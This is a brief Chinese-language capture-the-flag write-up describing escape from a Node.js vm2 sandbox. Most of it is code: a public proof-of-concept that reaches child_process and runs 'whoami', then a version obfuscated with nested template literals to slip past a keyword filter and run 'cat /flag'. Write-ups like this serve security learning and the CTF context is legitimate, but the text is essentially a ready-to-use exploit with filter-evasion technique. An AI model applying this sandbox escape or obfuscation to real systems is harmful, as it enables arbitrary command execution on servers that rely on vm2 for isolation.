场景
最低行提示不是php,测试过后发现是nodejs。
是vm2的沙箱逃逸问题。
github上有现成的poc
https://github.com/patriksimek/vm2/issues/225
"use strict";
const {VM} = require('vm2');
const untrusted = '(' + function(){
TypeError[`${`${`prototyp`}e`}`].get_process = f=>f.constructor("return process")();
try{
Object.preventExtensions(Buffer.from("")).a = 1;
}catch(e){
return e.get_process(()=>{}).mainModule.require("child_process").execSync("whoami").toString();
}
}+')()';
try{
console.log(new VM().run(untrusted));
}catch(x){
console.log(x);
}
本地测试。
本体存在关键字过滤,不能直接用。这里用javascript的模版文字绕过。
https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Template_literals
例如
prototype变成`${`${`prototyp`}e`}`
最后
(function (){
TypeError[`${`${`prototyp`}e`}`][`${`${`get_proces`}s`}`] = f=>f[`${`${`constructo`}r`}`](`${`${`return this.proces`}s`}`)();
try{
Object.preventExtensions(Buffer.from(``)).a = 1;
}catch(e){
return e[`${`${`get_proces`}s`}`](()=>{}).mainModule[`${`${`requir`}e`}`](`${`${`child_proces`}s`}`)[`${`${`exe`}cSync`}`](`cat /flag`).toString();
}
})()